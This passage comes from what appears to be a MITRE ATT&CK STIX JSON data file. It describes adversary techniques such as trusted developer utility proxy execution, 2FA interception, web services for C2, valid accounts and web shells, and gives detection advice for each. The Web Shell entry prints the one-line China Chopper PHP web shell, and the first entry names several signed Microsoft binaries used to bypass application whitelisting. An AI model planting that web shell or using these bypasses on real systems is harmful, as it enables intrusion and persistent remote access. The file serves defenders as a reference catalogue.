            "description": "There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.\n\n### MSBuild\n\nMSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild) \n\nAdversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)\n\n### DNX\n\nThe .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft. \n\nAn adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)\n\n### RCSI\n\nThe rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)\n\nC# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)\n\n### WinDbg/CDB\n\nWinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.\n\nAn adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)\n\nIt is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.\n\n### Tracker\n\nThe file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)\n\nAn adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process. Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)",
            "external_references": [
                {
                    "external_id": "T1127",
                    "url": "https://attack.mitre.org/techniques/T1127",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://msdn.microsoft.com/library/dd393574.aspx",
                    "description": "Microsoft. (n.d.). MSBuild1. Retrieved November 30, 2016.",
                    "source_name": "MSDN MSBuild"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx",
                    "description": "Knezevic, Z., Wenzel, M. Latham, L. (2016, June 20). Migrating from DNX to .NET Core CLI (project.json). Retrieved June 28, 2017.",
                    "source_name": "Microsoft Migrating from DNX"
                },
                {
                    "url": "https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/",
                    "description": "Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017.",
                    "source_name": "engima0x3 DNX Bypass"
                },
                {
                    "url": "https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/",
                    "description": "Osenkov, K. (2011, October 19). Introducing the Microsoft \u201cRoslyn\u201d CTP. Retrieved June 28, 2017.",
                    "source_name": "Microsoft Roslyn CPT RCSI"
                },
                {
                    "url": "https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/",
                    "description": "Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017.",
                    "source_name": "engima0x3 RCSI Bypass"
                },
                {
                    "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index",
                    "description": "Marshall, D. (2017, May 23). Debugging Tools for Windows (WinDbg, KD, CDB, NTSD). Retrieved June 29, 2017.",
                    "source_name": "Microsoft Debugging Tools for Windows"
                },
                {
                    "url": "http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html",
                    "description": "Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017.",
                    "source_name": "Exploit Monday WinDbg"
                },
                {
                    "description": "[ Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ Application Control Bypass Techniques in One File. Retrieved June 30, 2017.",
                    "source_name": "SubTee GitHub All The Things Application Whitelisting Bypass"
                },
                {
                    "url": "https://docs.microsoft.com/visualstudio/msbuild/file-tracking",
                    "description": "B, M., Brown, K., Cai, S., Hogenson, G., Warren, G. (2016, November 4). File Tracking. Retrieved November 1, 2017.",
                    "source_name": "Microsoft Docs File Tracking"
                },
                {
                    "url": "https://twitter.com/subTee/status/793151392185589760",
                    "description": "Smith, C. (2016, October 31). SubTee Twitter Status. Retrieved November 1, 2017.",
                    "source_name": "Twitter SubTee Tracker.exe"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Casey Smith",
                "Matthew Demaske, Adaptforward"
            ],
            "x_mitre_data_sources": [
                "Process monitoring"
            ],
            "x_mitre_defense_bypassed": [
                "Application whitelisting"
            ],
            "x_mitre_detection": "The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.\n\nUse process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_remote_support": false,
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_system_requirements": [
                "MSBuild: .NET Framework version 4 or higher\nDNX: .NET 4.5.2, Powershell 4.0\nRCSI: .NET 4.5 or later, Visual Studio 2012"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:39.262Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--9fa07bef-9c81-421e-a8e5-ad4366c5a925",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Trusted Relationship",
            "description": "Adversaries may breach or otherwise leverage organizations who have access to intended victims. Access through trusted third party relationship exploits an existing connection that may not be protected or receives less scrutiny than standard mechanisms of gaining access to a network.\n\nOrganizations often grant elevated access to second or third-party external providers in order to allow them to manage internal systems. Some examples of these relationships include IT services contractors, managed security providers, infrastructure contractors (e.g. HVAC, elevators, physical security). The third-party provider's access may be intended to be limited to the infrastructure being maintained, but may exist on the same network as the rest of the enterprise. As such, [Valid Accounts](https://attack.mitre.org/techniques/T1078) used by the other party for access to internal network systems may be compromised and used.",
            "external_references": [
                {
                    "external_id": "T1199",
                    "url": "https://attack.mitre.org/techniques/T1199",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Application Logs",
                "Authentication logs",
                "Third-party application logs"
            ],
            "x_mitre_detection": "Establish monitoring for activity conducted by second and third party providers and other trusted entities that may be leveraged as a means to gain access to the network. Depending on the type of relationship, an adversary may have access to significant amounts of information about the target before conducting an operation, especially if the trusted relationship is based on IT services. Adversaries may be able to act quickly towards an objective, so proper monitoring for behavior related to Credential Access, Lateral Movement, and Collection will be important to detect the intrusion.",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Two-Factor Authentication Interception",
            "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)",
            "external_references": [
                {
                    "external_id": "T1111",
                    "url": "https://attack.mitre.org/techniques/T1111",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf",
                    "description": "Mandiant. (2011, January 27). Mandiant M-Trends 2011. Retrieved January 10, 2016.",
                    "source_name": "Mandiant M Trends 2011"
                },
                {
                    "url": "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
                    "description": "Sancho, D., Hacquebord, F., Link, R. (2014, July 22). Finding Holes Operation Emmental. Retrieved February 9, 2016.",
                    "source_name": "Operation Emmental"
                },
                {
                    "url": "https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx",
                    "description": "Jackson, William. (2011, June 7). RSA confirms its tokens used in Lockheed hack. Retrieved September 24, 2018.",
                    "source_name": "GCN RSA June 2011"
                }
            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "John Lambert, Microsoft Threat Intelligence Center"
            ],
            "x_mitre_data_sources": [
                "API monitoring",
                "Process Monitoring",
                "Kernel drivers"
            ],
            "x_mitre_detection": "Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior.\n\nSimilar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.",
            "x_mitre_permissions_required": [
                "Administrator",
                "SYSTEM"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_system_requirements": [
                "Smart card Proxy: Use of smart cards for single or multifactor authentication to access to network resources. Attached smart card reader with card inserted.\n\nOut-of-band one-time code: Access to the device, service, or communications to intercept the one-time code.\n\nHardware token: Access to the seed and algorithm of generating one-time codes."
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "credential-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:23.195Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Uncommonly Used Port",
            "description": "Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.",
            "external_references": [
                {
                    "external_id": "T1065",
                    "url": "https://attack.mitre.org/techniques/T1065",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Netflow/Enclave netflow",
                "Process use of network",
                "Process monitoring"
            ],
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_network_requirements": true,
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:30:53.408Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "User Execution",
            "description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.",
            "external_references": [
                {
                    "external_id": "T1204",
                    "url": "https://attack.mitre.org/techniques/T1204",
                    "source_name": "mitre-attack"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Anti-virus",
                "Process command-line parameters",
                "Process monitoring"
            ],
            "x_mitre_detection": "Monitor the execution of and command-line arguments for applications that may be used by an adversary to gain Initial Access that require user interaction. This includes compression applications, such as those for zip files, that can be used to [Deobfuscate/Decode Files or Information](https://attack.mitre.org/techniques/T1140) in payloads.\n\nAnti-virus can potentially detect malicious documents and files that are downloaded and execuited on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the file is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "execution",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Valid Accounts",
            "description": "Adversaries may steal the credentials of a specific user or service account using Credential Access techniques or capture credentials earlier in their reconnaissance process through social engineering for means of gaining Initial Access. \n\nCompromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop. Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.\n\nAdversaries may also create accounts, sometimes using pre-defined account names and passwords, as a means for persistence through backup access in case other means are unsuccessful. \n\nThe overlap of credentials and permissions across a network of systems is of concern because the adversary may be able to pivot across accounts and systems to reach a high level of access (i.e., domain or enterprise administrator) to bypass access controls set within the enterprise. (Citation: TechNet Credential Theft)",
            "external_references": [
                {
                    "external_id": "T1078",
                    "url": "https://attack.mitre.org/techniques/T1078",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-560",
                    "url": "https://capec.mitre.org/data/definitions/560.html",
                    "source_name": "capec"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn535501.aspx",
                    "description": "Microsoft. (2016, April 15). Attractive Accounts for Credential Theft. Retrieved June 3, 2016.",
                    "source_name": "TechNet Credential Theft"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
                    "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
                    "source_name": "TechNet Audit Policy"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
                "Authentication logs",
                "Process monitoring"
            ],
            "x_mitre_defense_bypassed": [
                "Firewall",
                "Host intrusion prevention systems",
                "Network intrusion detection system",
                "Process whitelisting",
                "System access controls",
                "Anti-virus"
            ],
            "x_mitre_detection": "Configure robust, consistent account activity audit policies across the enterprise and with externally accessible services. (Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).\n\nPerform regular audits of domain and local system accounts to detect accounts that may have been created by an adversary for persistence.",
            "x_mitre_permissions_required": [
                "User",
                "Administrator"
            ],
            "x_mitre_effective_permissions": [
                "User",
                "Administrator"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "privilege-escalation",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "initial-access",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:00.645Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Video Capture",
            "description": "An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)",
            "external_references": [
                {
                    "external_id": "T1125",
                    "url": "https://attack.mitre.org/techniques/T1125",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://objective-see.com/blog/blog_0x25.html",
                    "description": "Patrick Wardle. (n.d.). Retrieved March 20, 2018.",
                    "source_name": "objective-see 2017 review"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_data_sources": [
                "Process monitoring",
                "File monitoring",
                "API monitoring"
            ],
            "x_mitre_detection": "Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Windows",
                "macOS"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "collection",
                    "kill_chain_name": "mitre-attack"
                }
            ],
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:37.917Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Web Service",
            "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).",
            "external_references": [
                {
                    "external_id": "T1102",
                    "url": "https://attack.mitre.org/techniques/T1102",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "x_mitre_version": "1.0",
            "x_mitre_contributors": [
                "Anastasios Pingios"
            ],
            "x_mitre_data_sources": [
                "Host network interface",
                "Netflow/Enclave netflow",
                "Network protocol analysis",
                "Packet capture",
                "SSL/TLS inspection"
            ],
            "x_mitre_defense_bypassed": [
                "Binary Analysis",
                "Log analysis",
                "Firewall"
            ],
            "x_mitre_network_requirements": true,
            "x_mitre_detection": "Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "command-and-control",
                    "kill_chain_name": "mitre-attack"
                },
                {
                    "phase_name": "defense-evasion",
                    "kill_chain_name": "mitre-attack"
                }
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            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2017-05-31T21:31:13.915Z",
            "spec_version": "2.1",
            "x_mitre_attack_spec_version": "2.1.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"
        },
        {
            "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Web Shell",
            "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.",
            "external_references": [
                {
                    "external_id": "T1100",
                    "url": "https://attack.mitre.org/techniques/T1100",
                    "source_name": "mitre-attack"
                },
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "source_name": "Lee 2013"
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                {
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "source_name": "US-CERT Alert TA15-314A Web Shells"
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                "Authentication logs",
                "File monitoring",
                "Netflow/Enclave netflow",
                "Process monitoring"
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            "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
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            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
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            "x_mitre_system_requirements": [
                "Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."
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            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "phase_name": "persistence",
                    "kill_chain_name": "mitre-attack"
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                    "phase_name": "privilege-escalation",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "external_id": "T1077",
                    "url": "https://attack.mitre.org/techniques/T1077",
                    "source_name": "mitre-attack"
                },
                {
                    "external_id": "CAPEC-561",
                    "url": "https://capec.mitre.org/data/definitions/561.html",
                    "source_name": "capec"
                },
                {
                    "url": "http://support.microsoft.com/kb/314984",
                    "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
                    "source_name": "Microsoft Admin Shares"
                },
                {
                    "url": "http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "source_name": "Lateral Movement Payne"
                },
                {
                    "url": "http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "source_name": "Windows Event Forwarding Payne"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block",
                    "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
                    "source_name": "Wikipedia SMB"
                },
                {
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx",
